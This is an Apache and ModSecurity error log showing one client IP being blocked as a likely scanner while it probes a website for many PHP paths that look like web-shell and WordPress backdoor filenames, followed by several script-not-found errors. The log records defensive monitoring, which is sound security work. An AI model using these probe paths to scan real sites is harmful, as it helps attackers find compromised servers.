[Thu Apr 23 21:53:20.824121 2026] [:error] [pid 42972:tid 43025] [client 51.12.86.96:21833] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeokUMOAb-3sOknsk4dIiwAAAEk"]
[Thu Apr 23 21:53:21.589493 2026] [:error] [pid 59700:tid 59711] [client 51.12.86.96:21761] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeokUZXyGZJFeAIDWtkv1QAAAUk"]
[Thu Apr 23 21:53:22.418475 2026] [:error] [pid 65000:tid 65057] [client 51.12.86.96:21839] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeokUr6vRb9j6psK2ZadqAAAAhg"]
[Thu Apr 23 21:53:23.069104 2026] [:error] [pid 64967:tid 64974] [client 51.12.86.96:21797] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeokU4AV4GfOOdX8Qzp4qgAAAYU"]
[Thu Apr 23 21:53:24.696066 2026] [:error] [pid 42973:tid 43055] [client 51.12.86.96:21782] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeokVG6I0QqmmmLTHE0kMQAAAIw"]
[Thu Apr 23 21:53:25.439932 2026] [:error] [pid 46953:tid 46956] [client 51.12.86.96:21766] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeokVUnlpdHh-P6wKbo-HwAAAkA"]
[Thu Apr 23 21:53:26.024852 2026] [:error] [pid 59700:tid 59710] [client 51.12.86.96:21884] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeokVpXyGZJFeAIDWtkv3QAAAUg"]
[Thu Apr 23 21:53:26.608666 2026] [:error] [pid 64998:tid 65024] [client 51.12.86.96:21863] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeokVoV5EysYcTLjmwiNAQAAAdY"]
[Thu Apr 23 21:53:27.160927 2026] [:error] [pid 64998:tid 65010] [client 51.12.86.96:21791] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeokV4V5EysYcTLjmwiNBAAAAcg"]
[Thu Apr 23 21:53:28.786586 2026] [:error] [pid 64998:tid 65014] [client 51.12.86.96:21838] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeokWIV5EysYcTLjmwiNCwAAAcw"]
[Thu Apr 23 21:53:29.358233 2026] [:error] [pid 64998:tid 65022] [client 51.12.86.96:21763] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeokWYV5EysYcTLjmwiNDQAAAdQ"]
[Thu Apr 23 21:53:30.041190 2026] [:error] [pid 42973:tid 43050] [client 51.12.86.96:21887] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeokWm6I0QqmmmLTHE0kNgAAAIc"]
[Thu Apr 23 21:53:30.670823 2026] [:error] [pid 65000:tid 65056] [client 51.12.86.96:5714] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeokWr6vRb9j6psK2ZadsAAAAhc"]
[Thu Apr 23 21:53:31.342939 2026] [:error] [pid 46953:tid 46976] [client 51.12.86.96:21855] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeokW0nlpdHh-P6wKbo-JgAAAlQ"]
[Thu Apr 23 21:53:31.911036 2026] [:error] [pid 59700:tid 59705] [client 51.12.86.96:5711] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeokW5XyGZJFeAIDWtkv5gAAAUM"]
[Thu Apr 23 21:53:32.057463 2026] [:error] [pid 42973:tid 43067] [client 51.12.86.96:21781] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeokXG6I0QqmmmLTHE0kNwAAAJg"]
[Thu Apr 23 21:53:33.336830 2026] [:error] [pid 46953:tid 46960] [client 51.12.86.96:21834] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeokXUnlpdHh-P6wKbo-KgAAAkQ"]
[Thu Apr 23 21:53:33.676520 2026] [:error] [pid 59700:tid 59723] [client 51.12.86.96:21844] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeokXZXyGZJFeAIDWtkv6AAAAVU"]
[Thu Apr 23 21:53:33.938784 2026] [:error] [pid 59700:tid 59710] [client 51.12.86.96:21842] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeokXZXyGZJFeAIDWtkv7AAAAUg"]
[Thu Apr 23 21:53:34.491674 2026] [:error] [pid 64998:tid 65021] [client 51.12.86.96:21866] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeokXoV5EysYcTLjmwiNEAAAAdM"]
[Thu Apr 23 21:53:34.592401 2026] [:error] [pid 64998:tid 65011] [client 51.12.86.96:21880] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeokXoV5EysYcTLjmwiNEgAAAck"]
[Thu Apr 23 21:53:35.101262 2026] [:error] [pid 64998:tid 65019] [client 51.12.86.96:21848] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeokX4V5EysYcTLjmwiNFwAAAdE"]
[Thu Apr 23 21:53:35.762436 2026] [:error] [pid 59700:tid 59708] [client 51.12.86.96:5741] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeokX5XyGZJFeAIDWtkv9gAAAUY"]
[Thu Apr 23 21:53:37.641786 2026] [:error] [pid 42971:tid 42987] [client 51.12.86.96:21787] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeokYTEP2_5RswrH8bEucQAAAAE"]
[Thu Apr 23 21:53:38.262121 2026] [:error] [pid 65000:tid 65043] [client 51.12.86.96:21815] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeokYr6vRb9j6psK2ZadtgAAAgo"]
[Thu Apr 23 21:53:38.897700 2026] [:error] [pid 65000:tid 65052] [client 51.12.86.96:21826] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeokYr6vRb9j6psK2ZaduQAAAhM"]
[Thu Apr 23 21:53:39.663897 2026] [:error] [pid 42972:tid 43018] [client 51.12.86.96:21778] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeokY8OAb-3sOknsk4dIogAAAEI"]
[Thu Apr 23 21:53:40.333093 2026] [:error] [pid 65000:tid 65056] [client 51.12.86.96:21788] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeokZL6vRb9j6psK2ZadvwAAAhc"]
[Thu Apr 23 21:53:43.964574 2026] [:error] [pid 65000:tid 65030] [client 51.12.86.96:21774] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeokZ76vRb9j6psK2Zad5QAAAgE"]
[Thu Apr 23 21:53:44.748935 2026] [:error] [pid 42973:tid 43049] [client 51.12.86.96:21860] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeokaG6I0QqmmmLTHE0kUQAAAIY"]
[Thu Apr 23 21:53:45.387508 2026] [:error] [pid 42973:tid 43056] [client 51.12.86.96:5728] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeokaW6I0QqmmmLTHE0kUwAAAI0"]
[Thu Apr 23 21:53:46.076559 2026] [:error] [pid 42973:tid 43065] [client 51.12.86.96:21886] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeokam6I0QqmmmLTHE0kVQAAAJY"]
[Thu Apr 23 21:53:46.707284 2026] [:error] [pid 42973:tid 43057] [client 51.12.86.96:21796] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeokam6I0QqmmmLTHE0kWwAAAI4"]
[Thu Apr 23 21:53:47.247439 2026] [:error] [pid 59700:tid 59713] [client 51.12.86.96:21803] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeoka5XyGZJFeAIDWtkwCwAAAUs"]
[Thu Apr 23 21:53:47.864145 2026] [:error] [pid 42973:tid 43056] [client 51.12.86.96:21795] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeoka26I0QqmmmLTHE0kYQAAAI0"]
[Thu Apr 23 21:53:48.520631 2026] [:error] [pid 42973:tid 43046] [client 51.12.86.96:21865] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeokbG6I0QqmmmLTHE0kZAAAAIM"]
[Thu Apr 23 21:53:49.305023 2026] [:error] [pid 42973:tid 43059] [client 51.12.86.96:21862] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeokbW6I0QqmmmLTHE0kZgAAAJA"]
[Thu Apr 23 21:53:49.871692 2026] [:error] [pid 42972:tid 43024] [client 51.12.86.96:21876] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeokbcOAb-3sOknsk4dIqgAAAEg"]
[Thu Apr 23 21:53:50.605615 2026] [:error] [pid 25635:tid 25644] [client 51.12.86.96:21777] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeokbsRxv6UsgRGKB3I2bAAAAQU"]
[Thu Apr 23 21:53:52.226095 2026] [:error] [pid 42972:tid 43040] [client 51.12.86.96:21850] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeokcMOAb-3sOknsk4dIrwAAAFg"]
[Thu Apr 23 21:53:52.877287 2026] [:error] [pid 25635:tid 25661] [client 51.12.86.96:21830] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeokcMRxv6UsgRGKB3I2bgAAARY"]
[Thu Apr 23 21:53:53.527535 2026] [:error] [pid 42972:tid 43022] [client 51.12.86.96:5744] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeokccOAb-3sOknsk4dIsgAAAEY"]
[Thu Apr 23 21:54:02.646386 2026] [:error] [pid 25635:tid 25648] [client 51.12.86.96:5716] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeokesRxv6UsgRGKB3I2cQAAAQk"]
[Thu Apr 23 21:54:03.303413 2026] [:error] [pid 64998:tid 65004] [client 51.12.86.96:21824] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeoke4V5EysYcTLjmwiNNgAAAcI"]
[Thu Apr 23 21:54:03.901123 2026] [:error] [pid 64998:tid 65016] [client 51.12.86.96:21828] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeoke4V5EysYcTLjmwiNNwAAAc4"]
[Thu Apr 23 21:54:04.593404 2026] [:error] [pid 42973:tid 43053] [client 51.12.86.96:21835] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeokfG6I0QqmmmLTHE0kcQAAAIo"]
[Thu Apr 23 21:54:05.287371 2026] [:error] [pid 42973:tid 43059] [client 51.12.86.96:21871] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeokfW6I0QqmmmLTHE0kcgAAAJA"]
[Thu Apr 23 21:54:05.898010 2026] [:error] [pid 42973:tid 43060] [client 51.12.86.96:21879] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeokfW6I0QqmmmLTHE0kdQAAAJE"]
[Thu Apr 23 21:54:06.458447 2026] [:error] [pid 64998:tid 65003] [client 51.12.86.96:21883] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeokfoV5EysYcTLjmwiNOgAAAcE"]
[Thu Apr 23 21:54:07.297903 2026] [:error] [pid 59700:tid 59703] [client 51.12.86.96:21869] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeokf5XyGZJFeAIDWtkwKgAAAUE"]
[Thu Apr 23 21:54:07.967913 2026] [:error] [pid 59700:tid 59711] [client 51.12.86.96:21760] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeokf5XyGZJFeAIDWtkwLgAAAUk"]
[Thu Apr 23 21:54:09.993865 2026] [:error] [pid 59700:tid 59721] [client 51.12.86.96:21780] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeokgZXyGZJFeAIDWtkwMQAAAVM"]
[Thu Apr 23 21:54:10.617830 2026] [:error] [pid 42973:tid 43047] [client 51.12.86.96:21827] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeokgm6I0QqmmmLTHE0kiQAAAIQ"]
[Thu Apr 23 21:54:11.579617 2026] [proxy_fcgi:error] [pid 42972:tid 43039] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:11.866867 2026] [proxy_fcgi:error] [pid 42972:tid 43040] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:12.143839 2026] [proxy_fcgi:error] [pid 42972:tid 43030] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:12.413286 2026] [proxy_fcgi:error] [pid 42972:tid 43020] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:12.964558 2026] [proxy_fcgi:error] [pid 42972:tid 43031] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:13.231150 2026] [proxy_fcgi:error] [pid 42972:tid 43017] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:13.510344 2026] [proxy_fcgi:error] [pid 42972:tid 43022] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:13.778968 2026] [proxy_fcgi:error] [pid 42972:tid 43034] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:54:14.050813 2026] [proxy_fcgi:error] [pid 42972:tid 43037] [client 51.12.86.96:21885] AH01071: Got error 'Primary script unknown'
